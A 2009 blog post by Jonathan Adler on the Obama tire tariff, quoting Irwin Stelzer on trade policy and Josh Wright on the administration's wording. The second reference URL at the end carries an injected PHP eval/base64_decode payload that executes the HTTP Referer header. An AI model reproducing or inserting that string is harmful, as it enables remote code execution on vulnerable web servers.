Posted by Jonathan Adler:
More on the Tire Tariff:
http://volokh.com/archives/archive_2009_09_13-2009_09_19.shtml#1252856179
[1]Irwin Stelzer thinks the tire tariff decision is a portent of bad
trade policies to come.
Obama's decision on tires makes it clear that he has no intention
of supporting efforts to revive the almost 8-year-old Doha
trade-opening negotiations. Some 36 nations met in New Delhi
earlier this month and professed interest in completing a deal by
the end of next year. Not likely: the recession has made jobs,
jobs, jobs politicians' central concern, and few are prepared to
take the flak that will surely arise if they open their markets,
and expose even a few domestic companies or farmers to
job-destroying competition. The talks collapsed in July of 2008
precisely for that reason. Obama has been sitting on proposals for
bilateral free trade agreements with Colombia and Korea, among
others, and sees no reason to antagonize the strong, protectionist
wing of his party, already unhappy with his failure -- so far - to
throw his weight behind a bill that would end the secret ballot in
union-recognition elections, and require compulsory arbitration
when union-management negotiations break down. . . .
Almost every country is seeking to export its way out of the
recession. Germany is relying on its exporters to create jobs;
China is depending on its export machine to keep its economy
growing fast enough to create millions of jobs and avoid social
unrest; Japan's new government, no longer reflexively pro-American,
also needs exports to end a decade of stagnation. But Obama, in
charge of the world's consumer-of-last-resort, has decided to
eschew that role in the future. Indeed, he has had his Trade
Representative, Ron Kirk, announce that America will no longer
allow its trade partners to "run roughshod over us." Some of the
president's reasons for pushing exports and tightening up on
imports are purely political -- he needs the trade unions and his
party's left. Others are more fundamental -- he has to cut the U.S.
trade deficit lest the value of the dollar continue its descent and
add to the inflationary pressures created by his enormous deficits.
Meanwhile, he has sent a signal to the Sino-Franco-Russian et al.
anti-dollar bloc that for all his talk about international
cooperation to fight the recession, he is in the end willing to go
it alone if domestic politics so dictate. That will increase their
resolve to find some replacement for the dollar as the world's
reserve currency. Obama might indeed turn out to be the
"transformative" president he intends to be, but not quite in the
way he intends.
Meanwhile, [2]Josh Wright points to some Orwellian doublespeak on the
tire decision:
The three-year remedies, consisting of an additional tariff of 35
percent ad valorem in the first year, 30 percent ad valorem in the
second, and 25 percent ad valorem in the third year, are being
imposed after a finding by the United States International Trade
Commission that a harmful surge of imports of Chinese tires
disrupted the U.S. market for those products. . . . "This
Administration is doing what is necessary to enforce trade
agreements on behalf of American workers and manufacturers.
Enforcing trade laws is key to maintaining an open and free trading
system."
References
1.
http://www.weeklystandard.com/Content/Public/Articles/000/000/016/959ypaav.asp
2.
http://www.truthonthemarket.com/2009/09/12/economic-illiteracy-of-the-week-2/%25&;(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%25/
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